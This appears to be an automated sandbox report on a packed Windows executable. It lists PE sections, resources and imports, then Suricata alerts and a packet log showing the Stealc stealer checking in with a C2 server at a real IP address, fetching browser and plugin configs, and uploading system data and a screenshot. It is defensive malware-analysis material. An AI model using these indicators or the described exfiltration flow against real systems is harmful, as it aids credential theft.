IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x2951a	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2b000	0xbbc4	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x37000	0x212bec	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x24a000	0x28b993	0x0	d41d8cd98f00b204e9800998ecf8427e	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.vmp	0x4d6000	0x44c	0x600	594dba2955a292a726af47792d9144f3	False	0.037109375	data	0.2072932106138872	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.vmp	0x4d7000	0x497390	0x497400	460ec7ac74620397163a1b646ca3140b	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.reloc	0x96f000	0x1a38	0x1c00	1e11f0a3b047ce274783b30382b7249c	False	0.38671875	GLS_BINARY_LSB_FIRST	5.760822817164807	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x971000	0x111032	0xf1800	60b948f06046a97356135482c14ecf3b	False	0.3199799026268116	data	6.156364985270373	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
BRAVEUPDATE	0xa62610	0x4	data			3.0
FLAGS	0xa62614	0xe	data	English	United States	0.7857142857142857
MUI	0x97380c	0x9baa4	XML 1.0 document, ASCII text, with CRLF line terminators			0.10669475097395875
XML	0xa62624	0x130	data	English	United States	0.04276315789473684
XML	0xa62754	0xb48	data	English	United States	0.06976744186046512
XML	0xa6329c	0x967	empty	English	United States	0
XML	0xa63c04	0xabc	empty	English	United States	0
XML	0xa646c0	0x21e	empty	English	United States	0
XML	0xa648e0	0x281	empty	English	United States	0
XML	0xa64b64	0x30d	empty	English	United States	0
XML	0xa64e74	0xa60	empty	English	United States	0
XML	0xa658d4	0x216	empty	English	United States	0
XML	0xa65aec	0x471	empty	English	United States	0
XML	0xa65f60	0x1fd	empty	English	United States	0
XML	0xa66160	0x8c4	empty	English	United States	0
XML	0xa66a24	0x234	empty	English	United States	0
XML	0xa66c58	0xd6	empty	English	United States	0
XML	0xa66d30	0xd8	empty	English	United States	0
XML	0xa66e08	0x834	empty	English	United States	0
XML	0xa6763c	0x38f	empty	English	United States	0
XML	0xa679cc	0x49a	empty	English	United States	0
XML	0xa67e68	0x4d1	empty	English	United States	0
XML	0xa6833c	0xee9	empty	English	United States	0
XML	0xa69228	0x118	empty	English	United States	0
XML	0xa69340	0x233	empty	English	United States	0
XML	0xa69574	0x201	empty	English	United States	0
XML	0xa69778	0x16f2	empty	English	United States	0
XML	0xa6ae6c	0x260	empty	English	United States	0
XML	0xa6b0cc	0x1697	empty	English	United States	0
XML	0xa6c764	0x426	empty	English	United States	0
XML	0xa6cb8c	0xe0	empty	English	United States	0
XML	0xa6cc6c	0x5cb	empty	English	United States	0
XML	0xa6d238	0x562	empty	English	United States	0
XML	0xa6d79c	0x2a9	empty	English	United States	0
XML	0xa6da48	0xac	empty	English	United States	0
XML	0xa6daf4	0x15e3	empty	English	United States	0
XML	0xa6f0d8	0x865	empty	English	United States	0
XML	0xa6f940	0xb25	empty	English	United States	0
XML	0xa70468	0x1c5	empty	English	United States	0
XML	0xa70630	0x6e4	empty	English	United States	0
XML	0xa70d14	0x111	empty	English	United States	0
XML	0xa70e28	0x285	empty	English	United States	0
XML	0xa710b0	0x30d	empty	English	United States	0
XML	0xa713c0	0x19f	empty	English	United States	0
XML	0xa71560	0x49c	empty	English	United States	0
XML	0xa719fc	0xd41	empty	English	United States	0
XML	0xa72740	0x6bb	empty	English	United States	0
XML	0xa72dfc	0x1fb	empty	English	United States	0
XML	0xa72ff8	0x216	empty	English	United States	0
XML	0xa73210	0x522	empty	English	United States	0
XML	0xa73734	0x2bb	empty	English	United States	0
XML	0xa739f0	0x681	empty	English	United States	0
XML	0xa74074	0x473	empty	English	United States	0
XML	0xa744e8	0x7df	empty	English	United States	0
XML	0xa74cc8	0x5a1	empty	English	United States	0
XML	0xa7526c	0x648	empty	English	United States	0
XML	0xa758b4	0x1ee	empty	English	United States	0
XML	0xa75aa4	0xe06	empty	English	United States	0
XML	0xa768ac	0xd6e	empty	English	United States	0
XML	0xa7761c	0x5ef	empty	English	United States	0
XML	0xa77c0c	0x465	empty	English	United States	0
XML	0xa78074	0x1df	empty	English	United States	0
XML	0xa78254	0x885	empty	English	United States	0
XML	0xa78adc	0x216	empty	English	United States	0
XML	0xa78cf4	0x68e	empty	English	United States	0
XML	0xa79384	0x43f	empty	English	United States	0
XML	0xa797c4	0x3a9	empty	English	United States	0
XML	0xa79b70	0x1f3	empty	English	United States	0
XML	0xa79d64	0x437	empty	English	United States	0
XML	0xa7a19c	0x1fa	empty	English	United States	0
XML	0xa7a398	0x6b8	empty	English	United States	0
XML	0xa7aa50	0x359	empty	English	United States	0
XML	0xa7adac	0x321	empty	English	United States	0
XML	0xa7b0d0	0x54a	empty	English	United States	0
XML	0xa7b61c	0xa33	empty	English	United States	0
XML	0xa7c050	0x418	empty	English	United States	0
XML	0xa7c468	0x69d	empty	English	United States	0
XML	0xa7cb08	0x249	empty	English	United States	0
XML	0xa7cd54	0x3d4	empty	English	United States	0
XML	0xa7d128	0x274	empty	English	United States	0
XML	0xa7d39c	0x21d	empty	English	United States	0
XML	0xa7d5bc	0x382	empty	English	United States	0
XML	0xa7d940	0x6ba	empty	English	United States	0
XML	0xa7dffc	0x2ce	empty	English	United States	0
XML	0xa7e2cc	0x478	empty	English	United States	0
XML	0xa7e744	0x86a	empty	English	United States	0
XML	0xa7efb0	0x352	empty	English	United States	0
XML	0xa7f304	0x1c2	empty	English	United States	0
XML	0xa7f4c8	0x396	empty	English	United States	0
XML	0xa7f860	0x486	empty	English	United States	0
XML	0xa7fce8	0x337	empty	English	United States	0
XML	0xa80020	0x499	empty	English	United States	0
XML	0xa804bc	0x5a5	empty	English	United States	0
XML	0xa80a64	0x298	empty	English	United States	0
XML	0xa80cfc	0x1f0	empty	English	United States	0
RT_ICON	0xa0f2b0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.5569887429643527
RT_ICON	0xa10358	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384			0.41904818138875766
RT_ICON	0xa14580	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.2941411333254466
RT_ICON	0xa24da8	0xb3bb	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			1.0003260089978483
RT_ICON	0xa30164	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096			0.5792682926829268
RT_ICON	0xa3120c	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216			0.5547717842323652
RT_ICON	0xa337b4	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536			0.5303442564769905
RT_ICON	0xa43fdc	0x1e124	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced			1.0003734615009905
RT_MENU	0xa80eec	0x22	empty	Chinese	China	0
RT_MENU	0xa80f10	0x2be	empty	Chinese	China	0
RT_MENU	0xa811d0	0x32e	empty	Chinese	China	0
RT_MENU	0xa81500	0x2e8	empty	Chinese	China	0
RT_STRING	0xa817e8	0xce	empty	Chinese	China	0
RT_STRING	0xa818b8	0x134	empty	English	Great Britain	0
RT_STRING	0xa819ec	0x152	empty	Spanish	Mexico	0
RT_STRING	0xa81b40	0x188	empty	Portuguese	Portugal	0
RT_STRING	0xa81cc8	0x1aa	empty			0
RT_STRING	0xa81e74	0x1be	empty	Serbian	Cyrillic	0
RT_GROUP_ICON	0xa62100	0x3e	data			0.8225806451612904
RT_GROUP_ICON	0xa62140	0x3e	data			0.8709677419354839
RT_MANIFEST	0xa62180	0x48e	XML 1.0 document, ASCII text			0.43310463121783876

Imports

DLL	Import
msvcrt.dll	rand
KERNEL32.dll	InitializeCriticalSectionAndSpinCount
KERNEL32.dll	GetSystemTimeAsFileTime
KERNEL32.dll	HeapAlloc, HeapFree, ExitProcess, GetModuleHandleA, LoadLibraryA, GetProcAddress

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States
Chinese	China
English	Great Britain
Spanish	Mexico
Portuguese	Portugal
Serbian	Cyrillic

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T14:02:02.754727+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	185.231.69.191	80	TCP
2024-12-24T14:02:03.148782+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49709	185.231.69.191	80	TCP
2024-12-24T14:02:03.296739+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.231.69.191	80	192.168.2.6	49709	TCP
2024-12-24T14:02:03.569827+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49709	185.231.69.191	80	TCP
2024-12-24T14:02:03.859885+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.231.69.191	80	192.168.2.6	49709	TCP
2024-12-24T14:02:05.004036+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49709	185.231.69.191	80	TCP
2024-12-24T14:02:05.645257+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.231.69.191	80	TCP
2024-12-24T14:02:31.933483+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:33.940357+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:35.218706+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:36.238596+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:39.736302+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:40.813724+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49787	185.231.69.191	80	TCP
2024-12-24T14:02:43.918174+0100	2044249	ET MALWARE Win32/Stealc Submitting Screenshot to C2	1	192.168.2.6	49787	185.231.69.191	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 14:01:52.737502098 CET	443	49708	20.198.118.190	192.168.2.6
Dec 24, 2024 14:01:52.784269094 CET	49708	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:01:52.973201990 CET	443	49708	20.198.118.190	192.168.2.6
Dec 24, 2024 14:01:53.018536091 CET	49708	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:01:53.165265083 CET	443	49708	20.198.118.190	192.168.2.6
Dec 24, 2024 14:01:53.166440964 CET	49708	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:01:53.285900116 CET	443	49708	20.198.118.190	192.168.2.6
Dec 24, 2024 14:01:53.362350941 CET	49673	443	192.168.2.6	173.222.162.64
Dec 24, 2024 14:01:53.424864054 CET	49674	443	192.168.2.6	173.222.162.64
Dec 24, 2024 14:01:53.763706923 CET	443	49708	20.198.118.190	192.168.2.6
Dec 24, 2024 14:01:53.815392017 CET	49708	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:01:53.815440893 CET	49672	443	192.168.2.6	173.222.162.64
Dec 24, 2024 14:02:00.933316946 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:01.053047895 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:01.053134918 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:01.054295063 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:01.173832893 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:02.292742014 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:02.292825937 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:02.296634912 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:02.416322947 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:02.437460899 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:02.437493086 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:02.437577963 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:02.438219070 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:02.438230038 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:02.754647970 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:02.754726887 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:02.756217003 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:02.875698090 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:02.971784115 CET	49673	443	192.168.2.6	173.222.162.64
Dec 24, 2024 14:02:03.034291983 CET	49674	443	192.168.2.6	173.222.162.64
Dec 24, 2024 14:02:03.148513079 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.148602962 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.148782015 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.148782015 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.177061081 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.296739101 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.424907923 CET	49672	443	192.168.2.6	173.222.162.64
Dec 24, 2024 14:02:03.569755077 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.569827080 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.618765116 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.618814945 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.674005032 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.674061060 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.676474094 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.676539898 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.689291000 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.689361095 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.738437891 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:03.738493919 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.740307093 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:03.859884977 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.148128033 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.148235083 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:04.164907932 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:04.164968967 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:04.284456968 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.284537077 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.284547091 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.284595966 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.284655094 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.284827948 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.284837961 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:04.670535088 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:04.670609951 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:04.675832987 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:04.675846100 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:04.676342964 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:04.677871943 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:04.677936077 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:04.677941084 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:04.678060055 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:04.723350048 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:05.003946066 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.004035950 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.223177910 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:05.223462105 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:05.223529100 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:05.223853111 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:05.223866940 CET	443	49710	20.198.118.190	192.168.2.6
Dec 24, 2024 14:02:05.223877907 CET	49710	443	192.168.2.6	20.198.118.190
Dec 24, 2024 14:02:05.253906965 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.373528004 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.645164967 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.645256996 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.645271063 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.645315886 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.649486065 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.649601936 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.649714947 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.657713890 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.657787085 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.657818079 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.657871962 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.666197062 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.666264057 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.666307926 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.666362047 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.674483061 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.674559116 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.674592018 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.674642086 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.682898998 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.682935953 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.682986975 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.683074951 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.708535910 CET	443	49704	173.222.162.64	192.168.2.6
Dec 24, 2024 14:02:05.708619118 CET	49704	443	192.168.2.6	173.222.162.64
Dec 24, 2024 14:02:05.722971916 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.723062992 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.723097086 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.723145962 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.727193117 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.727247953 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.727427006 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.727478027 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.735496044 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.735557079 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.764910936 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.764975071 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.765083075 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.765131950 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.769498110 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.769551992 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.769561052 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.769603014 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.836874008 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.836985111 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.837012053 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.837059021 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.841068983 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.841118097 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.841144085 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.841185093 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.849375010 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.849445105 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.852444887 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.852492094 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.852509975 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.852554083 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.860846996 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.860897064 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.860991001 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.861033916 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.869216919 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.869285107 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.869323015 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.869369984 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.877572060 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.877620935 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.877662897 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.877717018 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.885938883 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.885996103 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.886089087 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.886132956 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.894359112 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.894391060 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.894426107 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.894448996 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.902684927 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.902748108 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.902795076 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.902843952 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.907361031 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.907440901 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.907500029 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.907562971 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.912107944 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.912137985 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.912172079 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.912190914 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.916717052 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.916769981 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.918906927 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.918960094 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.918966055 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.919002056 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.921546936 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.921595097 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.921761990 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.921808004 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.926214933 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.926278114 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.926305056 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.926346064 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.931014061 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.931036949 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.931067944 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.931088924 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.935641050 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.935662985 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.935693979 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.935708046 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.956566095 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.956674099 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.956681013 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.956722975 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.959032059 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.959090948 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.959125996 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.959167004 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.963536978 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.963613987 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.963690996 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.963736057 CET	49709	80	192.168.2.6	185.231.69.191
Dec 24, 2024 14:02:05.968190908 CET	80	49709	185.231.69.191	192.168.2.6
Dec 24, 2024 14:02:05.968262911 CET	49709	80	192.168.2.6	185.231.69.191
